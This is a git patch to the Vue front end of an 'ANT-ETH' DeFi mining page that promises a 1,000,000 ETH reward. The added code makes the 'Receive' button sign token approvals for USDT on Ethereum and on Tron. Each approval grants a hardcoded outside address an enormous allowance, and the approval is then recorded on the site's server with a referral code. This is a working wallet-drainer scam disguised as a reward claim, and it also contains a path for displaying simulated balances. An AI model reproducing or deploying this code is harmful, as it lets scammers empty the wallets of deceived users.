From f5a6785ae5a1d534047a1d35b3c43e6e8665acac Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Fri, 15 Apr 2022 15:47:11 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 535 ++++++++++++++++++++++++++++++++++++++++++++++------------
1 files changed, 419 insertions(+), 116 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index f004fa8..ac7e412 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -3,7 +3,7 @@
<div class="top">
<div class="header flex align-center justify-between">
<div class="left flex align-center">
- <img src="../../assets/images/icon3.png" class="icon"/>
+ <img src="../../assets/images/icon3.png" class="icon" @click="openShare"/>
<van-dropdown-menu active-color="#3D8AF2" class="i18-wrap">
<van-dropdown-item v-model="local" :options="languague" @change="changeLanguage"/>
</van-dropdown-menu>
@@ -11,13 +11,15 @@
<span class="title">ANT-ETH</span>
<div class="right flex align-center">
<img src="../../assets/images/icon.png" class="icon"/>
- <span>{{ $t("message.ConnectWallet") }}</span>
+ <span class="address" v-if="walletAddress">{{walletAddress}}</span>
+ <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
</div>
</div>
<div class="banner-content">
<p>{{ $t("message.Defi") }}</p>
<p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p>
- <button @click="show = true">{{ $t("message.ReceiveVoucher") }}</button>
+ <button v-if="!hasApprove && !availableWallet" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button>
+ <button v-if="availableWallet">{{availableWallet}} USDT</button>
</div>
</div>
<img src="../../assets/images/banner.png" class="banner"/>
@@ -26,132 +28,381 @@
<OrePool></OrePool>
</van-tab>
<van-tab :title='$t("message.Account")'>
- <Account></Account>
+ <Account ref="accountRef" :simulateData="simulateData"></Account>
</van-tab>
</van-tabs>
- <van-overlay :show="show" @click="show = false">
- <div class="wrapper" @click.stop>
- <div class="block">
+ <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper">
+ <div class="block" @click.stop>
<div class="block-title">
<p>{{ $t("message.ReceiveDescription") }}</p>
</div>
<p class="block-content">{{ $t("message.Description") }}</p>
- <button class="block-btn" @click="accredit()">{{ $t("message.Receive") }}</button>
+ <van-button class="block-btn" :loading="isApproving" :loading-text='$t("message.Approving")' type="warning" @click="toApprove">{{ $t("message.Receive") }}</van-button>
</div>
- </div>
</van-overlay>
- <van-overlay :show="showAccredit" @click="showAccredit = false">
- <div class="wrapper" @click.stop>
- <div class="block">
- <img class="close-icon" @click="showAccredit = false" src="../../assets/images/close-icon.png">
- <div class="accredit-box flex align-center justify-between">
- <div class="item flex flex-v align-center justify-center">
+ <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
+ <div class="block" @click.stop>
+ <img class="close-icon" @click="isShowAccreditModal = false" src="../../assets/images/close-icon.png">
+ <div class="accredit-box">
+ <div class="item" @click="showDappModal()">
<img src="../../assets/images/icon7.png">
<p class="title">Dapp</p>
<p>DappConnect</p>
</div>
- <div class="item flex flex-v align-center justify-center" @click="wallet()">
+ <div class="item" @click="showWalletModal()">
<img src="../../assets/images/icon8.png">
<p class="title">Wallet</p>
<p>WalletConnect</p>
</div>
</div>
</div>
- </div>
</van-overlay>
- <van-overlay :show="showWallet" @click="showWallet = false">
- <div class="wrapper" @click.stop>
- <div class="block">
- <img class="close-icon" @click="showWallet = false" src="../../assets/images/close-icon.png">
+ <van-overlay :show="isShowWalletModal" @click="isShowWalletModal = false" class="wrapper">
+ <div class="walletconnect-modal-wrap" @click.stop>
+ <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png">
<div class="wallet-box">
- <p class="title">选择你的钱包</p>
- <div class="wallet-warp flex align-center justify-between">
- <div>
- <img src="../../assets/images/icon8.png">
- <p>coinbase</p>
- </div>
- <div>
- <img src="../../assets/images/icon8.png">
- <p>coinbase</p>
- </div>
- <div>
- <img src="../../assets/images/icon8.png">
- <p>coinbase</p>
- </div>
- <div>
- <img src="../../assets/images/icon8.png">
- <p>coinbase</p>
- </div>
+ <div class="sub-title">
+ <span>{{$t("message.Mobile")}}</span>
+ </div>
+ <p class="title">{{$t("message.ChooseWallet")}}</p>
+ <div class="wallet-warp flex flex-wrap align-center justify-between">
+ <a :href="item.link" target="_blank" v-for="item in dappList" class="item">
+ <div class="icon" :style="{background: 'url(' + item.imgUrl +')'}"></div>
+ <p class="text">{{item.name}}</p>
+ </a>
</div>
</div>
</div>
- </div>
</van-overlay>
+ <van-popup position="bottom" :show="iShowSharePopup">
+ <Share ref="shareRef" @close="closeShare"></Share>
+ </van-popup>
</div>
</template>
<script>
import WalletConnectProvider from "@walletconnect/web3-provider";
import Web3 from "web3";
-import { ref, getCurrentInstance } from 'vue';
+import { ref, reactive, getCurrentInstance,onBeforeMount,onMounted } from 'vue';
import { useI18n } from 'vue-i18n'
import OrePool from './orePool';
import Account from './account';
+import Share from '../share/index';
export default {
name: 'App',
components: {
OrePool,
- Account
+ Account,
+ Share
},
setup() {
- const show = ref(false);
const { proxy } = getCurrentInstance();
- function changeLanguage(type) {
+ const pageLink = window.location.href;
+ let accountRef = ref(null);
+ let walletAddress = ref('');
+ let hasApprove = ref(false);
+ let isShowApproveModal = ref(false);
+ let isShowAccreditModal = ref(false);
+ let isShowWalletModal = ref(false);
+ let isApproving = ref(false); //是否授权中
+ let simulateData = ref(null);
+ let availableWallet = ref('');
+ let local = ref(proxy.$i18n.locale);
+ let shareRef = ref(null);
+ let iShowSharePopup = ref(false);
+ function openShare(){
+ proxy.iShowSharePopup = true;
+ }
+ function closeShare(){
+ proxy.iShowSharePopup = false;
+ }
+ function changeLanguage(type){
+ localStorage.setItem('lang', type);
proxy.$i18n.locale = type;
}
- const showAccredit = ref(false);
- const showWallet = ref(false);
+
+ function showAccreditModal() {
+ proxy.isShowApproveModal = false
+ proxy.isShowAccreditModal = true
+ }
+ async function showDappModal() {
+ proxy.isShowAccreditModal = false
+ proxy.isShowWalletModal = true
+ }
+ let web3 = ref(null)
+ async function showWalletModal() {
+ proxy.isShowAccreditModal = false;
+ const provider = new WalletConnectProvider({
+ infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
+ rpc: {
+ 1: "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0",
+ }
+ });
+ await provider.enable();
+ provider.on("accountsChanged", (accounts) => {
+ console.log(accounts[0]+'换啦')
+ window.location.reload();
+ });
+ provider.on("disconnect", (code, reason) => {
+ sessionStorage.setItem('address', '');
+ window.location.reload();
+ });
+ proxy.web3 = new Web3(provider);
+ const accounts = await proxy.web3.eth.getAccounts();
+ proxy.walletAddress = accounts[0];
+ console.log('所有的账户，拿得到吗？')
+ console.log(accounts)
+ proxy.isApprove()
+ }
+
+ // 授权按钮
+ function toApprove() {
+ if(proxy.walletAddress){
+ proxy.approve()
+ }else{
+ showAccreditModal()
+ }
+ }
+ async function init () {
+ if(proxy.getQueryString('isDev') === 'true' && proxy.getQueryString('batchNo')) {
+ proxy.walletAddress = 'KtygcD'
+ proxy.getSimulateData();
+ } else {
+ await proxy.getAddress();
+ if (proxy.walletAddress) {
+ proxy.isApprove()
+ }else{
+ showAccreditModal();
+ }
+ }
+ }
+
+ onMounted(() => {
+ init()
+ })
return {
- local: ref('zh'),
+ local,
languague: [
+ { text: 'English', value: 'en' },
{ text: '简体中文', value: 'zh' },
- { text: 'English', value: 'en' }
+ { text: '日本语', value: 'ja' }
],
- show,
+ // 弹窗显示隐藏
+ isShowApproveModal,
+ isShowAccreditModal,
+ isShowWalletModal,
+
+ showAccreditModal,
+ showWalletModal,
+ showDappModal,
+ toApprove,
+
+ // 中英文切换
changeLanguage,
- showAccredit,
- showWallet
+
+ walletAddress, //地址
+ hasApprove, //是否授权
+
+ accountRef,
+
+ shareRef,
+ iShowSharePopup,
+ openShare,
+ closeShare,
+
+ web3,
+ isApproving,
+ dappList: [{
+ name: 'TronLink',
+ link: 'https://www.tronlink.org/',
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/Tronlink.png'
+ },
+ {
+ name: 'coinbase',
+ link: 'https://go.cb-w.com/MVotZpePHmb',
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/Coinbase.jpg'
+ },
+ {
+ name: 'Trust',
+ link: 'https://link.trustwallet.com/open_url?coin_id=60&url=' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/Trust.jpeg'
+ },
+ {
+ name: 'MetaMask',
+ link: 'https://metamask.app.link/dapp/mining02.com',
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/MetaMask.jpeg'
+ },
+ {
+ name: 'imToken',
+ link: 'imtokenv2://navigate?screen=DappView&url=' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/ImToken.jpeg'
+ },
+ {
+ name: 'TokenPocket',
+ link: 'tpdapp://open?params={"url": "'+pageLink+'"}',
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/TokenPocket.jpeg'
+ },
+ {
+ name: 'Gnosis Safe',
+ link: 'https://gnosis-safe.io//wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/Gnosis.jpeg'
+ },
+ {
+ name: 'Crypto.com',
+ link: 'https://wallet.crypto.com/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/Crypto.jpeg'
+ },
+ {
+ name: 'Pillar',
+ link: 'pillarwallet://wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/Pillar.jpeg'
+ },
+ {
+ name: 'Argent',
+ link: 'https://argent.link/app/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/Argent.jpeg'
+ },
+ {
+ name: 'MathWallet',
+ link: 'mathwallet://mathwallet.org?action=link&value=' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/MathWallet.jpeg'
+ },
+ {
+ name: 'BitPay',
+ link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink,
+ imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg'
+ }],
+ simulateData, //模拟数据
+ availableWallet
};
},
methods: {
- connect() {
- const provider = new WalletConnectProvider({
- infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
- bridge: "https://bridge.walletconnect.org",
- });
- // Enable session (triggers QR Code modal)
- provider.enable();
-
- this.web3 = new Web3(provider);
-
- // this.getAccount();
- // subscribe to events
- // this.subscribeToEvents();
+ // 获取地址
+ async getAddress () {
+ let address = '';
+ if(window.ethereum) {
+ await window.ethereum.enable();
+ const accounts = await ethereum.request({ method: 'eth_accounts' });
+ address = accounts[0];
+ console.log('dapp环境噢')
+ console.log(accounts)
+ }else if(window.tronWeb){
+ address = window.tronWeb.defaultAddress.base58;
+ }
+ this.walletAddress = address;
},
- subscribeToEvents() {
- const connector = this.connector;
- if (!connector) {
- return;
+ isApprove () {
+ this.$axios({
+ url: '/dapi/common/isApprove/' + this.walletAddress,
+ method: 'get'
+ }).then((res) => {
+ if(res.code == 200) {
+ let result = res.data;
+ if(result == 1) {
+ this.hasApprove = true;
+ this.initAccountData()
+ sessionStorage.setItem('address', this.walletAddress);
+ } else if (result == 2) {
+ this.submitApprove()
+ } else {
+ this.hasApprove = false;
+ this.$toast(this.$t('message.ApproveTip'));
+ }
+ }else{
+ this.hasApprove = false;
+ this.$toast(this.$t('message.ApproveTip'));
+ }
+ }).catch(() => {
+ this.hasApprove = false;
+ })
+ },
+ async approve () {
+ this.isApproving = true;
+ if(window.ethereum) {
+ this.ethereumApprove(new Web3(window.ethereum))
+ }else if(window.tronWeb){
+ this.tornWebApprove()
+ }else{
+ this.ethereumApprove(this.web3)
}
},
- accredit(){
- this.show = false
- this.showAccredit = true
+ ethereumApprove (web3) {
+ const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ const authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D';
+ const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
+ const contract = new web3.eth.Contract(abi, contractAddress);
+ contract.methods.approve(authAddress, 90000000000000).send({from:this.walletAddress, gas:100000}).then((res) => {
+ console.log('授权成功')
+ console.log(res)
+ this.submitApprove()
+ this.isApproving = false;
+ this.isShowApproveModal = false;
+ }).catch((err) => {
+ console.log('授权失败')
+ console.log(err)
+ this.isApproving = false;
+ this.isShowApproveModal = false;
+ })
},
- wallet(){
- this.showAccredit = false
- this.showWallet = true
+ async tornWebApprove () {
+ const tronWeb = window.tronWeb;
+ const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+ let instance = await tronWeb.contract().at(trxContractAddress);
+ let res = await instance["approve"](authAddress, "90000000000000000000000000000");
+ res.send({
+ feeLimit: 100000000,
+ callValue: 0,
+ shouldPollResponse: false
+ }, (err, res) => {
+ if (err == null) {
+ console.log('嘿,授权成功')
+ this.submitApprove()
+ }
+ this.isApproving = false;
+ this.isShowApproveModal = false;
+ });
+ },
+ submitApprove () {
+ let refererId = this.getQueryString('code');
+ this.$axios({
+ url: '/dapi/common/approve',
+ method: 'post',
+ data: {
+ address: this.walletAddress,
+ refererId: refererId ? refererId : ''
+ }
+ }).then((res) => {
+ if(res.code == 200) {
+ this.hasApprove = true;
+ this.initAccountData();
+ sessionStorage.setItem('address', this.walletAddress);
+ }
+ })
+ },
+ initAccountData(){
+ this.shareRef && this.shareRef.value.initData();
+ this.accountRef && this.accountRef.value.initData();
+ },
+ getSimulateData () {
+ this.$axios({
+ url: '/dapi/common/findSimulateData/' + this.getQueryString('batchNo'),
+ method: 'get'
+ }).then((res) => {
+ if(res.code == 200) {
+ this.simulateData = res.data;
+ this.availableWallet = this.simulateData.walletInfoVo.availableWallet
+ }
+ })
+ },
+ getQueryString (name) {
+ let reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
+ let r = window.location.search.substr(1).match(reg);
+ if (r != null) {
+ return unescape(r[2]);
+ }
+ return null;
}
}
}
@@ -225,15 +476,15 @@
display: flex;
align-items: center;
justify-content: center;
+ padding: 50px;
+ box-sizing: border-box;
}
.block {
- background-color: #fff;
+ width: 100%;
+ background: #fff;
border-radius: 20px;
- padding: 24px 34px 32px;
- position: fixed;
- top: 30%;
- left: 24px;
- right: 24px;
+ padding: 32px 34px 32px;
+ position: relative
}
.block-title{
text-align: left;
@@ -256,10 +507,11 @@
top: 50%;
}
.block-content{
- font-size: 24px;
+ font-size: 28px;
text-align: left;
color: #999999;
margin: 28px 0 0;
+ line-height: 38px;
}
.block-btn{
margin-top: 80px;
@@ -271,62 +523,113 @@
padding: 24px 104px;
border-radius: 48px;
}
+.block-btn.van-button--loading{
+ opacity: 0.7
+}
.close-icon{
position: absolute;
top: -63px;
- right: 0px;
+ right: -5px;
width: 50px;
height: 50px;
color: #fff;
}
.accredit-box{
- padding: 54px 30px;
+ padding: 20px 0;
}
.accredit-box .item{
- width: 45%;
- border: 1px solid #E9E9E9;
- border-radius: 20px;
- padding: 35px;
box-sizing: border-box;
+ padding: 64px;
+ position: relative;
+}
+.accredit-box .item:nth-child(1)::after{
+ display: block;
+ content: '';
+ height: 1px;
+ width: 100%;
+ background: #ebedf0;
+ position: absolute;
+ left: 0;
+ right: 0;
+ bottom: 0;
}
.accredit-box .item img{
- width: 84px;
- height: 84px;
+ width: 98px;
+ height: 98px;
+ margin-bottom: 20px;
}
.accredit-box .item p{
margin: 10px 0 0;
- font-size: 24px;
+ font-size: 30px;
color: #999999;
}
.accredit-box .item .title{
- font-size: 32px;
+ font-size: 40px;
color: #080808;
font-weight: bold;
-}
-.wallet-box{
- padding: 20px;
-}
-.wallet-box p{
- margin: 0;
-}
-.wallet-box .title{
- font-size: 32px;
- color: #080808;
- font-weight: bold;
-}
-.wallet-warp{
- box-sizing: border-box;
- margin-top: 80px;
-}
-.wallet-warp img{
- width: 88px;
- height: 88px;
- border-radius: 20px;
-}
-.wallet-warp p{
- font-size: 24px;
- color: #080808;
- margin-top: 15px;
}
+.walletconnect-modal-wrap{
+ position: relative;
+ width: 83%;
+ background: #ffffff;
+ border-radius: 48px;
+ box-shadow: 0 10px 50px 5px rgb(0 0 0 / 40%);
+ padding: 24px 24px 22px;
+}
+.walletconnect-modal-wrap .title{
+ font-size: 32px;
+ color: rgba(60, 66, 82, 0.6);
+ font-weight: 600;
+ margin: 20px 0 40px 0;
+}
+.walletconnect-modal-wrap .sub-title{
+ width: 79%;
+ margin: 0 auto;
+ background: #d4d5d9;
+ padding: 8px;
+ border-radius: 16px;
+ margin-bottom: 36px;
+}
+.walletconnect-modal-wrap .sub-title>span{
+ display: block;
+ font-size: 24px;
+ background: #ffffff;
+ padding: 8px;
+ font-weight: 600;
+ border-radius: 10px;
+}
+.walletconnect-modal-wrap .wallet-box{
+ padding: 24px 24px 22px;
+}
+.walletconnect-modal-wrap .wallet-warp{
+ margin: 50px 0 20px;
+}
+.walletconnect-modal-wrap .wallet-warp .item{
+ width: 25%;
+ padding: 16px 0;
+ box-sizing: border-box;
+}
+.walletconnect-modal-wrap .wallet-warp .icon{
+ display: block;
+ margin: 0 auto;
+ width: 84px;
+ height: 84px;
+ border-radius: 16px;
+ background-size: cover!important;
+ box-shadow: 0 0.10667rem 0.32rem 0 rgb(37 41 46 / 25%);
+}
+.walletconnect-modal-wrap .wallet-warp .text{
+ color: #424952;
+ font-weight: 600;
+ margin: 10px 0 0;
+ font-size: 24px;
+ height: 64px;
+}
+.address{
+ width: 100px;
+ overflow: hidden;
+ text-overflow:ellipsis;
+ white-space: nowrap;
+}
</style>
--
Gitblit v1.9.1